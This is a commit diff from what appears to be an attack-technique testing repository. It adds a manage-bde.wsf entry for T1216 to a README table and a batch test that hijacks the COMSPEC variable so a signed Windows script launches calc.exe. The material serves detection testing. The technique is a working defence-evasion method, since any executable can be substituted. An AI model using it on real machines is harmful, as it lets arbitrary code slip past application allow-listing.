added new exec method

plusplusxu · Jul 16, 2018 · c247feb · c247feb
1 parent 9f9bf4c
commit c247feb
Show file tree

Hide file tree

Showing 2 changed files with 10 additions and 1 deletion.
diff --git a/README.md b/README.md
@@ -41,7 +41,7 @@ The script executes only calc.exe through numerous methods. You can replace this
 | T1202  | sc |
 | T1028  | Register-cimprovider |
 | T1053  | control.exe |
-| T1216  |
+| T1216  | manage-bde.wsf |
 | T1218  |
 | T1033  | 
 | T1140  |

diff --git a/runtests.bat b/runtests.bat
@@ -422,6 +422,15 @@ start "" cmd /c control.exe AllTheThings.dll
 echo Execution Finished at %time% %date%
 echo Command Excuted: control.exe AllTheThings.dll
 
+echo %time% %date% [+] Testing manage-bde.wsf exec
+set comspec=C:\windows\system32\calc.exe
+start "" cmd /c cscript C:\windows\system32\manage-bde.wsf 
+echo Execution Finished at %time% %date%
+echo Command Excuted: set comspec=C:\windows\system32\calc.exe
+echo Command Excuted: cscript C:\windows\system32\manage-bde.wsf 
+REM Reset ComSpec
+set comspec=C:\WINDOWS\system32\cmd.exe
+
 echo [+] Let tasks finish before killing all the files
 
 sleep 90